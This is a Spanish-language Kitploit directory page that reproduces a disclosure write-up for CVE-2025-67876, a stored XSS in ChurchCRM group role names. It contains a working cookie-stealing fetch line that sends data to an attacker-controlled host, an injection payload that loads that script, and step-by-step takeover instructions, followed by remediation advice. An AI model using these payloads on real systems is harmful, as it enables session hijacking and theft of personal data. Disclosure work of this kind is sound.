Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-67876 — Prueba de concepto detallada de CVE-2025-67876 que demuestra XSS almacenado en los nombres de roles de grupo de ChurchCRM que conduce al secuestro de sesión de administrador, con un recorrido completo de explotación y recomendaciones de remediación. | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2025-67876
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

Prueba de concepto detallada de CVE-2025-67876 que demuestra XSS almacenado en los nombres de roles de grupo de ChurchCRM que conduce al secuestro de sesión de administrador, con un recorrido completo de explotación y recomendaciones de remediación.

Ver Repositorio
2hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-67876: ChurchCRM tiene XSS almacenado en el nombre del rol de grupo que conduce al secuestro de la sesión de administrador

Descripción general

CampoDetalles
ID CVECVE-2025-67876
GravedadCRÍTICA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • ChurchCRM/CRM

Detalles

Resumen

Existe una vulnerabilidad de cross-site scripting (XSS) almacenado en ChurchCRM que permite a un usuario con privilegios bajos y con el permiso “Manage Groups” inyectar JavaScript persistente en los nombres de los roles de grupo. La carga útil se guarda en la base de datos y se ejecuta cada vez que cualquier usuario (incluidos los administradores) ve una página que muestra ese rol, como GroupView.php o PersonView.php. Esto permite el secuestro completo de la sesión y la toma de control de la cuenta.

Detalles

La causa raíz es la falta de validación de entrada y de codificación de salida en el manejo de los nombres de los roles de grupo.

Al editar un grupo en GroupEditor.php, el usuario puede modificar los nombres de los roles. La aplicación no saneja la entrada (p. ej., no utiliza strip_tags, htmlspecialchars ni validación del lado del servidor). El valor se almacena en la tabla list_lst de la base de datos.

Más adelante, el valor almacenado se inyecta directamente en el HTML sin escapar:

  • En GroupView.php, los roles de grupo aparecen dentro de celdas de tabla envueltos en .
  • En PersonView.php, los roles asignados al usuario se muestran en “Assigned Groups”. Debido a que no se aplica ningún escape, cualquier HTML o JavaScript almacenado en el nombre del rol se ejecuta en el navegador de la víctima.

Por lo tanto, un usuario con privilegios bajos (con permiso Manage Groups) puede escalar privilegios hasta convertirse en administrador completo al inyectar JavaScript en un rol y asignar ese rol a un administrador.

PoC

Fase 1 - Configuración del atacante

Crea x.js en la máquina controlada por el atacante:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

Sirve el archivo:

python3 -m http.server 800

Fase 2 - Inyectar la carga útil XSS

  1. Inicia sesión como un usuario con permiso Manage Groups.

    imagen
  2. Navega a: Groups → List Groups → selecciona cualquier grupo → Settings.

  3. En la sección “Group Roles”, edita un rol existente o crea uno nuevo.

  4. Inserta la carga útil maliciosa:

"><script src=//172.20.0.1:800/x.js></script>

imagen

En la lista de roles de grupo, haz clic en Default junto al rol que contiene tu carga útil XSS inyectada. Esto garantiza que el rol malicioso se asigne automáticamente a cualquier usuario que se agregue al grupo, lo que aumenta la probabilidad de que un administrador active el XSS al ver su perfil. imagen Haz clic en Delete junto al rol predeterminado anterior, normalmente "Member". Eliminar el rol predeterminado limpio obliga al sistema a utilizar el rol inyectado con XSS para todas las asignaciones futuras, lo que garantiza la ejecución cuando la víctima ve cualquier página que muestre su rol asignado. imagen

  1. Guarda el nombre del rol. imagen

Fase 3 - Asignar el rol malicioso a una víctima

  1. Ve a la página Group View.

  2. Agrega cualquier usuario como miembro del grupo (por ejemplo, Church Admin).

    imagen
  3. Selecciona el rol malicioso en el menú desplegable.

  4. Guarda la asignación.

    imagen

Fase 4 - Ejecución del XSS

Cuando la víctima (administrador) visita:

  • Su perfil de usuario: PersonView.php

    imagen
  • La página de vista de grupo: GroupView.php

El JavaScript almacenado se ejecuta inmediatamente.

En el servidor del atacante, aparecerán las solicitudes entrantes: imagen

imagen

Esto confirma la toma de control exitosa de la cuenta.

Impacto

  • XSS almacenado
  • Secuestro completo de la sesión de administrador
  • Escalada de privilegios de un usuario con privilegios bajos a administrador completo del sistema
  • Exposición de todos los datos personales sensibles almacenados en ChurchCRM

CWE

CWE-79: Neutralización incorrecta de la entrada durante la generación de páginas web (‘Cross-site Scripting’)

Recomendación

  • Implementa codificación de salida (htmlspecialchars) en todas las representaciones de los nombres de roles.
  • Valida y saneja los nombres de roles del lado del servidor.
  • Revisa otros campos editables basados en listas en busca de vulnerabilidades similares.
  • Considera el uso de una biblioteca central de escape o de un motor de plantillas.

Referencias

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

Aviso legal

Esta CVE se divulgó de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada es únicamente con fines educativos y defensivos.

Descargar herramienta